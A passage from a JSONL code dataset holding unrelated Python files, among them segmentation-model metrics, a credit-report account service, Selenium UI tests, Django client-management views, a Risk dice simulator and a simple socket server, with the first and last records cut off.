target_vhr_unlab_up, \n metrics, weight_loss = 0.1, bce_weight=0.5):\n\n \n #loss for VHR model label\n bce_l2 = F.binary_cross_entropy_with_logits(pred_vhr_lab, target_vhr_lab)\n pred_vhr_lab = torch.sigmoid((pred_vhr_lab))\n dice_l2 = dice_loss(pred_vhr_lab, target_vhr_lab)\n loss_l2 = bce_l2 * bce_weight + dice_l2 * (1 - bce_weight)\n \n #loss for VHR model unlabel \n bce_l3 = F.binary_cross_entropy_with_logits(pred_vhr_unlab, target_vhr_unlab_up)\n pred_vhr_unlab = torch.sigmoid((pred_vhr_unlab)) \n dice_l3 = dice_loss(pred_vhr_unlab, target_vhr_unlab_up)\n loss_l3 = bce_l3 * bce_weight + dice_l3 * (1 - bce_weight)\n \n #loss for full-network\n loss = (loss_l2 + loss_l3 * weight_loss)\n\n metrics['loss_VHR_lab'] += loss_l2.data.cpu().numpy() * target_vhr_lab.size(0)\n metrics['loss_VHR_unlab'] += loss_l3.data.cpu().numpy() * target_vhr_unlab_up.size(0)\n metrics['loss'] += loss.data.cpu().numpy()*(target_vhr_lab.size(0)+target_vhr_unlab_up.size(0)) #check \n metrics['loss_dice_lb'] += dice_l2.data.cpu().numpy() * target_vhr_lab.size(0) \n metrics['loss_dice_unlab'] += dice_l3.data.cpu().numpy() * target_vhr_unlab_up.size(0) \n \n return loss\n\ndef print_metrics_paral(metrics, epoch_samples_l1, epoch_samples_l2, epoch_samples_l3, epoch_samples_loss, phase,f): # print by epoch\n outputs = []\n epoch_samples = [epoch_samples_l1, epoch_samples_l2, epoch_samples_l3, \n epoch_samples_loss,epoch_samples_l2, epoch_samples_l3] # l3 is unlab dice and jaccard now is from unlabel\n i = 0\n for k in metrics.keys(): #metricas(frist-mean-input.size)samples\n outputs.append(\"{}: {:4f}\".format(k, metrics[k] / epoch_samples[i]))\n i += 1\n print(\"{}: {}\".format(phase, \", \".join(outputs)))\n f.write(\"{}: {}\".format(phase, \", \".join(outputs))+ \"\\n\")\n \ndef print_metrics_seq(metrics, epoch_samples_l2, epoch_samples_l3, epoch_samples_loss, phase, f): \n outputs = []\n epoch_samples = [epoch_samples_l2, epoch_samples_l3, \n epoch_samples_loss,epoch_samples_l2,#epoch_samples_l2, epoch_samples_l3, \nepoch_samples_l3]\n \n i = 0\n for k in metrics.keys(): #metricas(frist-mean-input.size)samples\n outputs.append(\"{}: {:4f}\".format(k, metrics[k] / epoch_samples[i]))\n i += 1\n print(\"{}: {}\".format(phase, \", \".join(outputs)))\n f.write(\"{}: {}\".format(phase, \", \".join(outputs))+\"\\n\")\n \n \n \ndef make_loader(file_names, shuffle=False, transform=None,mode='train',batch_size=1, limit=None):\n return DataLoader(\n dataset=WaterDataset(file_names, transform=transform,mode=mode, limit=limit),\n shuffle=shuffle, \n batch_size=batch_size,\n pin_memory=torch.cuda.is_available() \n )\n\ndef find_metrics(train_file_names,val_file_names, test_file_names, max_values, mean_values, std_values,model,fold_out='0', fold_in='0', name_model='UNet11', epochs='40',out_file='VHR',dataset_file='VHR' ,name_file='_VHR_60_fake' ):\n \n outfile_path = ('predictions_{}').format(out_file)\n \n f = open((\"predictions_{}/metric{}_{}_foldout{}_foldin{}_{}epochs.txt\").format(out_file,name_file,name_model,fold_out, fold_in,epochs), \"w+\")\n f2 = open((\"predictions_{}/pred_loss_test{}_{}_foldout{}_foldin{}_{}epochs.txt\").format(out_file,name_file,name_model, fold_out, fold_in,epochs), \"w+\")\n f.write(\"Training mean_values:[{}], std_values:[{}] \\n\".format(mean_values, std_values))\n\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n \n #####Dilenames ###############################################\n\n \n print(len(test_file_names))\n #####Dataloder ###############################################\n\n if(dataset_file == 'VHR'):\n all_transform = DualCompose([\n CenterCrop(512),\n ImageOnly(Normalize(mean=mean_values, std=std_values))\n ])\n\n if(dataset_file =='HR'):\n all_transform = DualCompose([\n CenterCrop(64),\n ImageOnly(Normalize2(mean=mean_values, std=std_values))\n ])\n\n train_loader = make_loader(train_file_names,shuffle=True, transform=all_transform)\n val_loader = make_loader(val_file_names, transform=all_transform)\n test_loader = make_loader(test_file_names, transform=all_transform)\n\n dataloaders = {\n 'train': train_loader, 'val': val_loader, 'test':test_loader }\n\n for phase in ['train', 'val','test']:\n model.eval()\n metrics = defaultdict(float)\n ############################### train images ###############################\n\n count_img=0\n input_vec= []\n labels_vec = []\n pred_vec = []\n result_dice = []\n result_jaccard = []\n\n \n for inputs, labels in dataloaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device) \n with torch.set_grad_enabled(False):\n input_vec.append(inputs.data.cpu().numpy())\n labels_vec.append(labels.data.cpu().numpy())\n pred = model(inputs)\n\n loss = calc_loss(pred, labels, metrics,'test')\n \n if phase=='test':\n print_metrics(metrics,f2, 'test')\n\n pred=torch.sigmoid(pred) \n pred_vec.append(pred.data.cpu().numpy()) \n\n result_dice += [metrics['dice']]\n\n result_jaccard += [metrics['jaccard'] ]\n\n count_img += 1\n\n print((\"{}_{}\").format(phase,out_file))\n print('Dice = ', np.mean(result_dice), np.std(result_dice))\n print('Jaccard = ',np.mean(result_jaccard), np.std(result_jaccard),'\\n')\n\n f.write((\"{}_{}\\n\").format(phase,out_file))\n f.write(\"dice_metric: {:4f}, std: {:4f} \\n\".format(np.mean(result_dice),np.std(result_dice)))\n f.write(\"jaccard_metric: {:4f}, std: {:4f} \\n\".format(np.mean(result_jaccard), np.std(result_jaccard))) \n\n \n if phase=='test': \n np.save(str(os.path.join(outfile_path,\"inputs_test{}_{}_foldout{}_foldin{}_{}epochs_{}.npy\".format(name_file,name_model,fold_out,fold_in,epochs,int(count_img)))), np.array(input_vec))\n np.save(str(os.path.join(outfile_path,\"labels_test{}_{}_foldout{}_foldin{}_{}epochs_{}.npy\".format(name_file,name_model, fold_out,fold_in,epochs,int(count_img)))), np.array(labels_vec))\n np.save(str(os.path.join(outfile_path,\"pred_test{}_{}_foldout{}_foldin{}_{}epochs_{}.npy\".format(name_file,name_model, fold_out,fold_in,epochs,int(count_img)))), np.array(pred_vec))\n\n\n\n","sub_path":"metrics_prediction_2.py","file_name":"metrics_prediction_2.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472247347","text":"import uuid\n\nfrom app.main import db\nfrom app.main.model.candidate import Candidate\nfrom app.main.model.credit_report_account import CreditReportAccount, CreditReportSignupStatus\n\n\ndef save_new_credit_report_account(data, candidate: Candidate, status: CreditReportSignupStatus = None):\n account = CreditReportAccount.query.filter_by(customer_token=data.get('customer_token'),\n tracking_token=data.get('tracking_token')).first()\n if not account:\n new_account = CreditReportAccount(\n public_id=str(uuid.uuid4()),\n customer_token=data.get('customer_token'),\n provider=data.get('provider'),\n tracking_token=data.get('tracking_token') or data.get('trackingToken'),\n plan_type=data.get('plan_type'),\n financial_obligation_met=data.get('financial_obligation_met'),\n status=status or CreditReportSignupStatus.INITIATING_SIGNUP,\n candidate=candidate\n )\n save_changes(new_account)\n return new_account\n else:\n raise Exception('Credit Report Account already exists')\n\n\ndef update_credit_report_account(account: CreditReportAccount):\n existing_account = CreditReportAccount.query.filter_by(id=account.id).first() # type: CreditReportAccount\n if existing_account:\n existing_account.customer_token = account.customer_token\n existing_account.plan_type = account.plan_type\n existing_account.financial_obligation_met = account.financial_obligation_met\n existing_account.status = account.status\n save_changes(existing_account)\n else:\n raise Exception(f'Credit Report Account {account.id} does not exist')\n\n\ndef get_all_credit_report_accounts():\n return CreditReportAccount.query.all()\n\n\ndef get_credit_report_account(public_id):\n return CreditReportAccount.query.filter_by(public_id=public_id).first()\n\n\ndef save_changes(*data):\n for entry in data:\n db.session.add(entry)\n db.session.commit()\n","sub_path":"app/main/service/credit_report_account_service.py","file_name":"credit_report_account_service.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269047546","text":"#\n# Copyright 2019 Delphix\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# pylint: disable=missing-docstring\n\nfrom typing import Iterable\n\nimport drgn\nimport sdb\n\n\n# A convenience command that will automatically dispatch to the appropriate\n# walker based on the type of the input data.\nclass Walk(sdb.Command):\n # pylint: disable=too-few-public-methods\n\n names = [\"walk\"]\n\n @staticmethod\n def _help_message(input_type: drgn.Type = None) -> str:\n msg = \"\"\n if input_type is not None:\n msg = msg + \"no walker found for input of type {}\\n\".format(\n input_type)\n msg = msg + \"The following types have walkers:\\n\"\n msg = msg + \"\\t%-20s %-20s\\n\" % (\"WALKER\", \"TYPE\")\n for type_, class_ in sdb.Walker.allWalkers.items():\n msg = msg + \"\\t%-20s %-20s\\n\" % (class_.names[0], type_)\n return msg\n\n def call(self, objs: Iterable[drgn.Object]) -> Iterable[drgn.Object]:\n baked = [(sdb.prog.type(type_), class_)\n for type_, class_ in sdb.Walker.allWalkers.items()]\n has_input = False\n for i in objs:\n has_input = True\n\n try:\n for type_, class_ in baked:\n if i.type_ == type_:\n yield from class_().walk(i)\n raise StopIteration\n except StopIteration:\n continue\n\n raise sdb.CommandError(self.name, Walk._help_message(i.type_))\n # If we got no input and we're the last thing in the pipeline, we're\n # probably the first thing in the pipeline. Print out the available\n # walkers.\n if not has_input and self.islast:\n print(Walk._help_message())\n","sub_path":"sdb/commands/walk.py","file_name":"walk.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"275241087","text":"#!/usr/bin/env python\n# coding=utf-8\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\n\nimport unittest, time\nimport re, math, sys\nimport subprocess\nimport os\nimport random\nimport sys\n\n# requires plugins installed thorugh pip\n# selenium, pytest, pytest-html, chromedriver\n# to RUN\n# pytest duble_test.py \n# to make report\n# pytest duble_test.py --html=DubleTest.html --self-contained-html\n\nclass Test():\n\n def setup_method(self,method):\n self.driver = webdriver.Chrome('./chromedriver') \n self.driver.set_window_size(1300,800) \n self.driver.get('http://127.0.0.1:8000/user/login') \n self.driver.implicitly_wait(2) \n\n def teardown_method(self, method):\n self.driver.quit() \n\n\n \n\n def test_account(self):\n print( '\\nTEST LOGIN\\n')\n print( \"----------------------------------\\n\")\n self.driver.implicitly_wait(15) \n time.sleep(5) \n login_atmp = self.login()\n print(\"Login successful\")\n assert login_atmp == True\n\n\n\n\n\n def test_create_project(self):\n print( '\\nTEST PROJECT CREATE\\n')\n print( \"----------------------------------\\n\")\n self.driver.implicitly_wait(15) \n time.sleep(3)\n login = self.login()\n if(not login):\n outcome = False\n assert outcome == True\n\n project_page = self.driver.find_element_by_class_name('page-wrapper')\n new_proj_button = project_page.find_element_by_name('add-project-btn').click()\n time.sleep(1)\n\n project_modal = self.driver.find_element_by_name('newProjectForm')\n project_name = project_modal.find_element_by_name('newProjectName')\n project_name.send_keys(\"project 1\")\n print(\"Project name: Project 1\\n\")\n\n deadline = project_modal.find_element_by_name('newProjectDeadline')\n deadline.send_keys(\"12052017\")\n print(\"Project date: 12-05-2017\\n\")\n\n desc = project_modal.find_element_by_name('newProjectDescription')\n desc.send_keys(\"project 1 Details\")\n\n new_proj = self.driver.find_element_by_id('new-Project')\n modal = new_proj.find_element_by_class_name('modal-content')\n footer = modal.find_element_by_class_name('modal-footer')\n footer.find_element_by_class_name('btn-info').click()\n print(\"New Project Created\")\n time.sleep(3)\n \n name = self.driver.find_element_by_class_name('m-b-0')\n print(\"Login successful\")\n\n\n\n def test_create_sprint(self):\n print( '\\nTEST SPRINT\\n')\n print( \"----------------------------------\\n\")\n self.driver.implicitly_wait(15) \n time.sleep(3)\n login = self.login()\n if(not login):\n outcome = False\n assert outcome == True\n\n self.driver.find_element_by_name('sprint_link').click()\n time.sleep(2)\n print(\"Move to Sprint Tab\\n\")\n self.driver.find_element_by_name('sprint_start').click()\n time.sleep(2)\n print(\"Create New Sprint\\n\")\n\n modal = self.driver.find_element_by_class_name('modal-content')\n modal2 = modal.find_element_by_name('sprint_name')\n modal2.send_keys(\"sprint 1\")\n\n modal3 = modal.find_element_by_name('sprint_duration')\n modal3.send_keys('2')\n\n footer = modal.find_element_by_class_name('modal-footer')\n footer.find_element_by_class_name('btn-info').click()\n print(\"Sprint Created\\n\")\n time.sleep(2)\n\n card = self.driver.find_element_by_class_name('card-block')\n end = card.find_element_by_name('end-Sprint')\n\n\n\n def test_create_task(self):\n print( '\\nTEST TASK\\n')\n print( \"----------------------------------\\n\")\n self.driver.implicitly_wait(15) \n time.sleep(3)\n login = self.login()\n if(not login):\n outcome = False\n assert outcome == True\n\n self.driver.find_element_by_name('backlog_link').click()\n time.sleep(2)\n print(\"Move to Backlog\\n\")\n self.driver.find_element_by_name('add-new-task').click()\n time.sleep(2)\n print(\"Creating Task\\n\")\n modal = self.driver.find_element_by_class_name('modal-content')\n name = modal.find_element_by_id('taskname')\n name.send_keys(\"task1\")\n\n desc = modal.find_element_by_name('description')\n desc.send_keys('desc1')\n\n est = modal.find_element_by_name('estimated_time')\n est.send_keys('2')\n\n btn= modal.find_element_by_class_name('modal-footer')\n btn.find_element_by_class_name('btn-info').click()\n print(\"Task Created\\n\")\n time.sleep(2)\n if self.driver.find_element_by_id('demo-foo-accordion'):\n outcome = True\n\n\n\n def test_add_to_sprint(self):\n print( '\\nTEST TASK\\n')\n print( \"----------------------------------\\n\")\n self.driver.implicitly_wait(15) \n time.sleep(3)\n login = self.login()\n if(not login):\n outcome = False\n assert outcome == True\n\n self.driver.find_element_by_name('backlog_link').click()\n time.sleep(2)\n print(\"Move to Backlog\\n\")\n self.driver.find_element_by_name('add-new-task').click()\n time.sleep(2)\n print(\"Creating Task with sprint\\n\")\n modal = self.driver.find_element_by_class_name('modal-content')\n sprint = modal.find_element_by_class_name('filter-option').click()\n sprint1 = modal.find_elements_by_class_name('text')\n for x in sprint1:\n if \"sprint\" in sprint1:\n x.click()\n\n name = modal.find_element_by_id('taskname')\n name.send_keys(\"task2\")\n\n desc = modal.find_element_by_name('description')\n desc.send_keys('desc2')\n\n est = modal.find_element_by_name('estimated_time')\n est.send_keys('2')\n\n btn= modal.find_element_by_class_name('modal-footer')\n btn.find_element_by_class_name('btn-info').click()\n time.sleep(2)\n if self.driver.find_element_by_id('demo-foo-accordion'):\n outcome = True\n print(\"Task created with sprint\\n\")\n\n\n\n def login(self):\n login_email = \"admin@mail.com\" \n login_password = \"admin1234\"\n\n sign_in_page = self.driver.find_element_by_class_name('card-block') \n email_box = sign_in_page.find_element_by_name('email') \n email_box.clear() \n email_box.send_keys(login_email) \n print( 'Login: %s' %login_email ) \n\n \n email_box = sign_in_page.find_element_by_name('password')\n email_box.clear() \n email_box.send_keys(login_password) \n print(\"password entered\\n\")\n \n login_button = sign_in_page.find_element_by_name('login-button').click()\n time.sleep(2)\n logo = self.driver.find_element_by_class_name('light-logo')\n if(logo):\n login = True\n else:\n login = False\n return login\n\n\n\n\n\n\n\n","sub_path":"src/testing/duble_test.py","file_name":"duble_test.py","file_ext":"py","file_size_in_byte":7315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221625935","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2013 - 2022, Gorka Zamora-López \n#\n# Released under the Apache License, Version 2.0 (the \"License\");\n# you may not use this software except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n\n\"\"\"In this file I will test all functions in the Python3 version of GAlib\n(the module gatools.py) and make sure they work.\n\"\"\"\n\n# Standard library imports\nimport os, os.path\nfrom timeit import default_timer as timer\n# Third party imports\nfrom numpy import*\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy.random\n# Personal libraries\nfrom galib import*\nfrom galib.tools import*\n\n##################################################################\n# 1) I/O AND DATA CONVERSIONS\ncurrdir = os.getcwd()\ncurrdir = os.path.split(currdir)[0]\ndataroot = os.path.join(currdir, 'Data/')\n\ntime1 = timer()\nnet, labs = LoadFromPajek(dataroot + 'Cat53_cortex.net', getlabels=True)\n\n# netsym = 0.5*(net + net.T)\nnetsym = SymmetriseMatrix(net)\nprint(Reciprocity(net), Reciprocity(netsym))\nnzidx = nonzero(net)\nnet = net.astype(float32)\nnet[nzidx] += 0.5\n\nSave2Pajek(dataroot + 'spam.net', net, labels=labs, directed=True, weighted=True)\n\nlabs = LoadLabels(dataroot + 'Authorlist.txt')\n\nSaveLabels(dataroot + 'spam_labels.txt', labs)\n\n# Define the partition\nvisual = arange(16)\naudit = arange(16,23)\nsomatomotor = arange(23,39)\nfrontolimbic = arange(39, 53)\npartition = [visual,audit,somatomotor,frontolimbic]\nncoms = len(partition)\n\nSavePartition(dataroot + 'spam_CatPartition.txt', partition)\nnewpart = LoadPartition(dataroot + 'spam_CatPartition.txt')\n\n# Slicing (adjacency) matrices\nsubnet1 = ExtractSubmatrix(net, partition[0])\nsubnet2 = ExtractSubmatrix(net, partition[0], partition[1])\n\n# Compute the Laplacian matrix\nlapnet = LaplacianMatrix(net)\nprint(lapnet.sum(axis=1))\nprint(lapnet.diagonal())\n\n# Clean paths\nDij, bcnodes, allpaths, allcycles = PathsAllinOne(net)\nnewpaths = allpaths.copy()\nfor i in range(1,5):\n newpaths[i] += newpaths[i][:1000]\n CleanPaths(newpaths[i])\n print(len(allpaths[i]), len(newpaths[i]))\n\n\n# 2) ARRAY AND MATRIX COMPARISONS\nprint('Hamming distance...')\nspam1 = zeros(100, float)\nspam2 = ones(100, float)\nprint( HammingDistance(spam1, spam2) )\n\nspam2[:50] = 0\nprint( HammingDistance(spam1, spam2) )\n\nspam1[10:50] = 3.5\nprint( HammingDistance(spam1, spam2) )\n\n\n# 3) ADDITIONAL MATH\n# NonZeroMin\nprint( 'Min values:', NonZeroMin(spam1), NonZeroMin(spam2) )\n\n# Cumulative distribution\ndata = numpy.random.rand(10000)\nxdata, ydata = CumulativeDistribution(data, 10, range=[0,1], normed=True, centerbins=True)\n\nplt.figure()\nplt.plot(xdata,ydata, '.')\nplt.grid()\n\n# Factorial function\nfor i in range(10):\n print( i, Factorial(i) )\n\n# Binomial\nfor i in range(11):\n print( i, BinomialCoefficient(10,i) )\n\n# Quartiles\nq1, q2, q3 = Quartiles(data)\nprint( 'quartiles: %2.5f %2.5f %2.5f' %(q1,q2,q3) )\n\n# Permuations, combinations, etc.\nnewdata = [1,2,4,'spam']\nallperms = AllPermutations(newdata)\nprint( 'Permutations\\n', allperms )\n\nprint('All combinations' )\nfor i in range(0,5):\n print( i, AllCombinations(newdata,i) )\n\nallbips = AllBipartitions(newdata)\nprint( 'All bipartitions\\n', allbips )\n\n# Mean correlation\nprint( 'Mean correlation:', MeanCorrelation(data) )\n\ntime2 = timer()\nprint( time2 - time1, 'Seconds' )\n\nplt.show()\n\n\n\n\n#\n","sub_path":"Examples/Tests_Python3/test_tools_py3.py","file_name":"test_tools_py3.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"194307583","text":"'''\nThis module finds the probabilities associated\nwith certain setups in a game of Risk.\n'''\n\nfrom typing import Callable\nfrom risk_rolled import get_casualties\n\n\ndef get_probability_win(num_attacking: int,\n num_defending: int,\n dice_attacking_func: Callable[[int, int], int],\n dice_defending_func: Callable[[int, int], int],\n sample_size: int) -> float:\n '''\n This function gets the approximate\n probability of winning if you are attacking\n with num_attacking dice against an enemy who\n has num_defending dice, using dice_attacking_func\n to return the number of dice that you will attack with\n at each stage, and dice_defending_func to do the same\n for the defender. It will run this test sample_size\n number of times and return the found probability.\n '''\n num_wins = 0\n casualties = (0, 0)\n num_attacking_saved = num_attacking\n num_defending_saved = num_defending\n for i in range(sample_size):\n while num_attacking > 1 and num_defending > 0:\n attacking_dice = dice_attacking_func(num_attacking, num_defending)\n defending_dice = dice_defending_func(num_attacking, num_defending)\n casualties = get_casualties(attacking_dice, defending_dice)\n num_attacking -= casualties[0]\n num_defending -= casualties[1]\n if num_defending == 0:\n num_wins += 1\n num_attacking = num_attacking_saved\n num_defending = num_defending_saved\n return num_wins / sample_size\n\ndef get_attacker_dice(num_attacking: int, num_defending: int) -> int:\n if num_attacking > 3:\n return 3\n elif num_attacking == 3:\n return 2\n elif num_attacking == 2:\n return 1\n else:\n raise RuntimeError('We shouldn\\'t be here!')\n\ndef get_defender_dice(num_attacking: int, num_defending: int) -> int:\n if num_defending >= 2:\n return 2\n elif num_defending == 1:\n return 1\n else:\n raise RuntimeError('We shouldn\\'t be here!')\n\nif __name__ == '__main__':\n while True:\n num_attacking = int(input('Number Attacking: '))\n num_defending = int(input('Number Defending: '))\n sample_size = int(input('Sample Size: '))\n print(get_probability_win(num_attacking, num_defending,\n get_attacker_dice, get_defender_dice, sample_size))\n","sub_path":"risk_probabilities.py","file_name":"risk_probabilities.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"303336348","text":"import socket\n\n# 1. ソケットの作成\n\"\"\"\n第4層: TCP\n第3層: IPv4\n\"\"\"\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# 2. ソケットへ自分の情報を登録\nsock.bind((\"\", 50000))\n\nwhile True:\n # 3. 誰かの接続を待つ\n sock.listen()\n\n # 4. 接続要求に応える\n sock_c, addr = sock.accept()\n\n msg = '4433'\n\n try:\n sock_c.sendall(msg.encode('utf-8'))\n sock_c.sendall(msg.encode('utf-8'))\n except:\n print('sendall function failed.')\n\n # 5. ソケットを閉じる\n sock_c.close()\n\nsock.close()\n","sub_path":"0605/experience/server-buf.py","file_name":"server-buf.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643745666","text":"\"\"\" tahua.admin_interface.views.clients\n\n This module defines the various \"/client\" view functions for the Tahua\n application's \"admin_interface\" package. These functions allow a system\n administrator to authorize and deauthorize client systems.\n\"\"\"\nimport uuid\n\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.core.urlresolvers import reverse\n\nfrom tahua.models import Client\n\nfrom tahua.admin_interface.forms import AddClientForm\n\n#############################################################################\n\ndef list_clients(request):\n \"\"\" Respond to the \"/clients/list\" URL.\n\n We display a list of currently-authorized client systems.\n \"\"\"\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.views.\" +\n \"main.main\"))\n\n clients = []\n for client in Client.objects.all().order_by(\"name\"):\n clients.append(client)\n\n if request.method == \"GET\":\n\n # We're displaying the page for the first time. Process our CGI\n # parameters (if any).\n\n confirm = request.GET.get(\"confirm\")\n\n elif request.method == \"POST\":\n\n # Respond to the user clicking on one of our buttons.\n\n # Did the user click on one of our \"Edit\" buttons? We redirect the\n # user to the \"Edit\" page for the associated client.\n\n for client in clients:\n editValue = request.POST.get(\"edit-\" + str(client.id))\n if editValue == \"Edit\":\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"show_credentials\",\n args=[client.id]))\n# return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n# \"views.clients\" +\n# \"edit_client\",\n# args=[client.id]))\n\n # Did the user click on the \"Authorize\" button for a client? We\n # authorize the given client.\n\n for client in clients:\n authValue = request.POST.get(\"auth-\" + str(client.id))\n if authValue == \"Authorize\":\n client.authorized = True\n client.save()\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"list_clients\"))\n\n # Did the user click on the \"Deauthorize\" button for a client? We\n # deauthorize the given client.\n\n for client in clients:\n deauthValue = request.POST.get(\"deauth-\" + str(client.id))\n if deauthValue == \"Deauthorize\":\n client.authorized = False\n client.save()\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"list_clients\"))\n\n # Did the user click on one of our \"Delete\" buttons? We firstly\n # display the confirmation button beside the client, and only delete\n # the client if the user confirms.\n\n for client in clients:\n deleteValue = request.POST.get(\"del-\" + str(client.id))\n if deleteValue == \"Delete\":\n # The administrator clicked on the \"Delete\" button for the\n # first time -> redisplay the page with the confirmation\n # buttons.\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"list_clients\") +\n \"?confirm=\"+str(client.id))\n elif deleteValue == \"Yes\":\n # The administrator clicked on our \"Yes\" confirmation button.\n # Delete this client.\n client.delete()\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"list_clients\"))\n elif deleteValue == \"No\":\n # The administrator clicked on the \"No\" confirmation button.\n # Redisplay the page without the confirmation buttons.\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"list_clients\"))\n\n # Did the user click on the \"Add\" button?\n\n if request.POST.get(\"add\") == \"Add Client\":\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.add_client\"))\n\n # If we get here, we're going to display the page again. Grab our\n # \"confirm\" CGI parameter so the page can display the appropriate\n # confirmation buttons.\n\n confirm = request.POST.get(\"confirm\")\n\n # If we get here, display the list of clients.\n\n return render_to_response(\"admin_interface/client_list.html\",\n {'clients' : clients,\n 'confirm' : confirm,\n },\n context_instance=RequestContext(request))\n\n#############################################################################\n\ndef add_client(request):\n \"\"\" Respond to the \"/clients/add\" URL.\n\n We let the user add a new client system.\n \"\"\"\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.views.\" +\n \"main.main\"))\n\n if request.method == \"GET\":\n form = AddClientForm()\n errMsg = None\n elif request.method == \"POST\":\n if request.POST.get(\"cancel\") == \"Cancel\":\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.views.\" +\n \"clients.list_clients\"))\n\n form = AddClientForm(request.POST)\n errMsg = None # initially.\n if form.is_valid():\n name = request.POST['name']\n code = request.POST['code']\n\n if name == \"\":\n errMsg = \"You must enter a name for this client.\"\n elif Client.objects.filter(name=name).count() > 0:\n errMsg = \"There is already a client system with that name.\"\n\n if code == \"\":\n errMsg = \"You must enter a code for this client.\"\n elif Client.objects.filter(code=code).count() > 0:\n errMsg = \"There is already a client system with that code.\"\n\n if errMsg == None:\n client_id = uuid.uuid4()\n client_key = uuid.uuid4()\n\n client = Client()\n client.name = name\n client.code = code\n client.client_id = client_id\n client.client_key = client_key\n client.save()\n\n # Show the credentials for the new client to the user.\n\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.\" +\n \"show_credentials\",\n args=[client.id]))\n\n # If we get here, display our form.\n\n return render_to_response(\"shared/editForm.html\",\n {'title' : \"Tahua Admin\",\n 'heading' : \"Add Client\",\n 'errMsg' : errMsg,\n 'form' : form},\n context_instance=RequestContext(request))\n\n#############################################################################\n\ndef show_credentials(request, client_id):\n \"\"\" Respond to the \"/clients/show/XXX\" URL.\n\n We show the credentials for the given client.\n \"\"\"\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.views.\" +\n \"main.main\"))\n\n try:\n client = Client.objects.get(id=client_id)\n name = client.name\n code = client.code\n client_id = client.client_id\n client_key = client.client_key\n except Client.DoesNotExist:\n name = \"<>\"\n code = \"<>\"\n client_id = \"<>\"\n client_key = \"<>\"\n\n if request.method == \"POST\":\n if request.POST.get(\"ok\") == \"OK\":\n return HttpResponseRedirect(reverse(\"tahua.admin_interface.\" +\n \"views.clients.list_clients\"))\n\n # If we get here, display our form.\n\n return render_to_response(\"admin_interface/show_credentials.html\",\n {'client_name' : name,\n 'client_code' : code,\n 'client_id' : client_id,\n 'client_key' : client_key,\n },\n context_instance=RequestContext(request))\n\n#############################################################################\n\ndef edit_client(request, client_id):\n \"\"\" Respond to the \"/clients/edit/XXX\" URL.\n\n We let the user edit the given client.\n \"\"\"\n return HttpResponse(\"More to come...\")\n\n","sub_path":"tahua/admin_interface/views/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":10011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650132925","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.generic import View\nfrom .models import Kindergarten\nfrom users.models import User\nfrom django.http import Http404\n# Create your views here.\n\n# todo: a detailView and a ListView with paging\nimport urllib.request\nimport json\nimport re\n\ndef advanced_search(request):\n\tif request.method == 'GET':\n\t\treturn render(request, 'advaned.html')\n\tif request.method == 'POST':\n\t\tp_school = request.POST.get('school_key')\n\t\ttarget = fuzzy_filter(p_school, Kindergarten.objects.all())\n\t\treturn render(request, 'advaned.html', {'user_list': target})\n\n\ndef guided_search(request):\n\tif request.method == 'GET':\n\t\treturn render(request, 'table.html')\n\tif request.method == 'POST':\n\t\tp_sg = request.POST.get('singaporean_key')\n\t\tp_certificate = request.POST.get('certificate_key')\n\t\tp_year = 